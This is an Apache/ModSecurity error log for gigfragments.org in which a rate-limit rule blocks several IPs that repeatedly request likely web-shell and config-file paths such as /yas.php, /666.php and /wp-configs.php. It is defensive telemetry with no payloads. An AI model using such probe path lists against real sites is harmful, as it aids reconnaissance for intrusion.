[Mon Apr 06 18:48:45.584181 2026] [:error] [pid 10280:tid 10305] [client 51.103.121.89:43206] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "adOPjV8QUJkf8g-BFfPMDgAAAdY"]
[Mon Apr 06 18:48:46.814406 2026] [:error] [pid 9413:tid 9426] [client 51.103.121.89:46977] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "adOPjnllvEK3chn01wG3EwAAAYs"]
[Mon Apr 06 18:48:47.643710 2026] [:error] [pid 35686:tid 35705] [client 51.103.121.89:47836] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "adOPj8MKdea6oORd2fzDrgAAAAk"]
[Mon Apr 06 18:48:48.559673 2026] [:error] [pid 35688:tid 35754] [client 51.103.121.89:43215] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "adOPkOZ85qg4jLsRpQxwVgAAAIQ"]
[Mon Apr 06 18:48:49.633497 2026] [:error] [pid 35686:tid 35707] [client 172.213.138.9:40441] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOPkcMKdea6oORd2fzDswAAAAs"]
[Mon Apr 06 18:48:49.875893 2026] [:error] [pid 35686:tid 35699] [client 51.103.121.89:43249] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOPkcMKdea6oORd2fzDtAAAAAM"]
[Mon Apr 06 18:48:50.640303 2026] [:error] [pid 9442:tid 9444] [client 51.103.121.89:5155] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOPkkPsNnAJTnmz6saDGwAAAQA"]
[Mon Apr 06 18:48:51.494533 2026] [:error] [pid 35688:tid 35771] [client 51.103.121.89:44791] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOPk-Z85qg4jLsRpQxwYQAAAJU"]
[Mon Apr 06 18:48:52.724119 2026] [:error] [pid 9442:tid 9463] [client 51.103.121.89:38590] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOPlEPsNnAJTnmz6saDHgAAARM"]
[Mon Apr 06 18:48:53.904916 2026] [:error] [pid 35687:tid 35726] [client 51.103.121.89:46755] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOPlZ3LtDozV0i8Bita4AAAAEM"]
[Mon Apr 06 18:48:58.960560 2026] [:error] [pid 1827:tid 1853] [client 51.103.121.89:5642] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOPmuVeb6S_DnjZ2xH4WQAAAhg"]
[Mon Apr 06 18:48:59.342003 2026] [:error] [pid 9442:tid 9450] [client 51.120.80.210:45893] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "adOPm0PsNnAJTnmz6saDNgAAAQY"]
[Mon Apr 06 18:49:01.273848 2026] [:error] [pid 35688:tid 35757] [client 51.120.80.210:58754] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "adOPneZ85qg4jLsRpQxwhgAAAIc"]
[Mon Apr 06 18:49:01.895639 2026] [:error] [pid 35688:tid 35754] [client 51.103.121.89:5179] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOPneZ85qg4jLsRpQxwiwAAAIQ"]
[Mon Apr 06 18:49:02.726786 2026] [:error] [pid 1827:tid 1837] [client 51.120.80.210:44740] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "adOPnuVeb6S_DnjZ2xH4YAAAAgg"]
[Mon Apr 06 18:49:03.861969 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:42896] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOPn0PsNnAJTnmz6saDPgAAAQ4"]
[Mon Apr 06 18:49:04.286604 2026] [:error] [pid 35688:tid 35765] [client 51.120.80.210:50542] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "adOPoOZ85qg4jLsRpQxwkQAAAI8"]
[Mon Apr 06 18:49:05.550396 2026] [:error] [pid 1827:tid 1831] [client 51.120.80.210:45484] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "adOPoeVeb6S_DnjZ2xH4ZgAAAgI"]
[Mon Apr 06 18:49:05.807347 2026] [:error] [pid 35688:tid 35764] [client 51.103.121.89:33426] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "adOPoeZ85qg4jLsRpQxwngAAAI4"]
[Mon Apr 06 18:49:06.475479 2026] [:error] [pid 10280:tid 10296] [client 51.120.80.210:44773] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "adOPol8QUJkf8g-BFfPMJAAAAc0"]
[Mon Apr 06 18:49:06.800370 2026] [:error] [pid 35688:tid 35752] [client 51.103.121.89:44733] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "adOPouZ85qg4jLsRpQxwowAAAII"]
[Mon Apr 06 18:49:07.979400 2026] [:error] [pid 38562:tid 38574] [client 51.120.80.210:44103] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "adOPo6eD6Ohe6wzRuy5nfgAAAUk"]
[Mon Apr 06 18:49:08.150035 2026] [:error] [pid 9413:tid 9419] [client 51.103.121.89:38227] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "adOPpHllvEK3chn01wG3FwAAAYQ"]
[Mon Apr 06 18:49:08.557361 2026] [:error] [pid 9442:tid 9450] [client 51.120.80.210:58787] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "adOPpEPsNnAJTnmz6saDSgAAAQY"]
[Mon Apr 06 18:49:09.354390 2026] [:error] [pid 35688:tid 35762] [client 51.103.121.89:46570] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "adOPpeZ85qg4jLsRpQxwrgAAAIw"]
[Mon Apr 06 18:49:10.196683 2026] [:error] [pid 35688:tid 35769] [client 51.120.80.210:44758] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "adOPpuZ85qg4jLsRpQxwswAAAJM"]
[Mon Apr 06 18:49:10.493356 2026] [:error] [pid 35688:tid 35770] [client 51.103.121.89:37120] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "adOPpuZ85qg4jLsRpQxwuQAAAJQ"]
[Mon Apr 06 18:49:11.416671 2026] [:error] [pid 35688:tid 35751] [client 51.103.121.89:37444] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "adOPp-Z85qg4jLsRpQxwuwAAAIE"]
[Mon Apr 06 18:49:11.687670 2026] [:error] [pid 10280:tid 10284] [client 51.120.80.210:50059] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "adOPp18QUJkf8g-BFfPMLwAAAcE"]
[Mon Apr 06 18:49:11.790923 2026] [:error] [pid 35688:tid 35758] [client 74.248.150.154:41927] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adOPp-Z85qg4jLsRpQxwvwAAAIg"]
[Mon Apr 06 18:49:12.610425 2026] [:error] [pid 35688:tid 35751] [client 74.248.150.154:58346] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adOPqOZ85qg4jLsRpQxwxQAAAIE"]
[Mon Apr 06 18:49:12.625812 2026] [:error] [pid 10280:tid 10298] [client 51.103.121.89:5260] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "adOPqF8QUJkf8g-BFfPMNQAAAc8"]
[Mon Apr 06 18:49:12.793828 2026] [:error] [pid 9442:tid 9466] [client 51.120.80.210:44762] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "adOPqEPsNnAJTnmz6saDUQAAARY"]
[Mon Apr 06 18:49:13.189979 2026] [:error] [pid 9442:tid 9461] [client 74.248.150.154:58325] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adOPqUPsNnAJTnmz6saDVQAAARE"]
[Mon Apr 06 18:49:13.338551 2026] [:error] [pid 35688:tid 35770] [client 51.120.80.210:44358] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "adOPqeZ85qg4jLsRpQxwxwAAAJQ"]
[Mon Apr 06 18:49:13.896164 2026] [:error] [pid 10280:tid 10297] [client 51.103.121.89:47045] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "adOPqV8QUJkf8g-BFfPMOAAAAc4"]
[Mon Apr 06 18:49:13.967997 2026] [:error] [pid 9442:tid 9453] [client 74.248.150.154:42848] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adOPqUPsNnAJTnmz6saDWwAAAQk"]
[Mon Apr 06 18:49:14.663029 2026] [:error] [pid 1827:tid 1834] [client 74.248.150.154:57865] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adOPquVeb6S_DnjZ2xH4bgAAAgU"]
[Mon Apr 06 18:49:14.712285 2026] [:error] [pid 1827:tid 1849] [client 51.120.80.210:45477] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "adOPquVeb6S_DnjZ2xH4cAAAAhQ"]
[Mon Apr 06 18:49:15.077187 2026] [:error] [pid 35688:tid 35767] [client 51.103.121.89:47092] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "adOPq-Z85qg4jLsRpQxwywAAAJE"]
[Mon Apr 06 18:49:15.707974 2026] [:error] [pid 9442:tid 9456] [client 51.120.80.210:45454] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "adOPq0PsNnAJTnmz6saDYgAAAQw"]
[Mon Apr 06 18:49:15.959753 2026] [:error] [pid 35686:tid 35707] [client 51.103.121.89:44485] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "adOPq8MKdea6oORd2fzDvAAAAAs"]
[Mon Apr 06 18:49:16.040116 2026] [:error] [pid 38562:tid 38565] [client 74.248.150.154:58349] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adOPrKeD6Ohe6wzRuy5ngwAAAUA"]
[Mon Apr 06 18:49:16.584113 2026] [:error] [pid 9442:tid 9444] [client 51.120.80.210:44366] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "adOPrEPsNnAJTnmz6saDZgAAAQA"]
[Mon Apr 06 18:49:17.236562 2026] [:error] [pid 38562:tid 38573] [client 51.120.80.210:58849] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "adOPraeD6Ohe6wzRuy5niAAAAUg"]
[Mon Apr 06 18:49:17.249213 2026] [:error] [pid 9442:tid 9445] [client 74.248.150.154:58938] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adOPrUPsNnAJTnmz6saDaQAAAQE"]
[Mon Apr 06 18:49:18.026682 2026] [:error] [pid 35688:tid 35762] [client 51.120.80.210:44795] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adOPruZ85qg4jLsRpQxw1AAAAIw"]
[Mon Apr 06 18:49:18.205791 2026] [autoindex:error] [pid 9442:tid 9468] [client 51.103.121.89:37451] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 18:49:18.928632 2026] [:error] [pid 35688:tid 35769] [client 74.248.150.154:58936] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adOPruZ85qg4jLsRpQxw3AAAAJM"]
[Mon Apr 06 18:49:19.149670 2026] [:error] [pid 35688:tid 35757] [client 51.120.80.210:50325] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adOPr-Z85qg4jLsRpQxw3gAAAIc"]
[Mon Apr 06 18:49:19.885564 2026] [:error] [pid 9442:tid 9455] [client 51.120.80.210:45450] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adOPr0PsNnAJTnmz6saDeAAAAQs"]
[Mon Apr 06 18:49:20.535440 2026] [:error] [pid 38562:tid 38574] [client 74.248.150.154:40220] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adOPsKeD6Ohe6wzRuy5njAAAAUk"]
[Mon Apr 06 18:49:20.800716 2026] [:error] [pid 35686:tid 35699] [client 51.120.80.210:58877] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adOPsMMKdea6oORd2fzDvQAAAAM"]
[Mon Apr 06 18:49:21.373194 2026] [:error] [pid 9442:tid 9467] [client 51.120.80.210:59357] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "adOPsUPsNnAJTnmz6saDhAAAARc"]
[Mon Apr 06 18:49:21.776381 2026] [autoindex:error] [pid 9442:tid 9444] [client 51.103.121.89:37451] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 18:49:21.962397 2026] [:error] [pid 35688:tid 35757] [client 51.120.80.210:59273] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "adOPseZ85qg4jLsRpQxw6AAAAIc"]
[Mon Apr 06 18:49:22.349298 2026] [:error] [pid 1827:tid 1832] [client 74.248.150.154:42577] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adOPsuVeb6S_DnjZ2xH4eAAAAgM"]
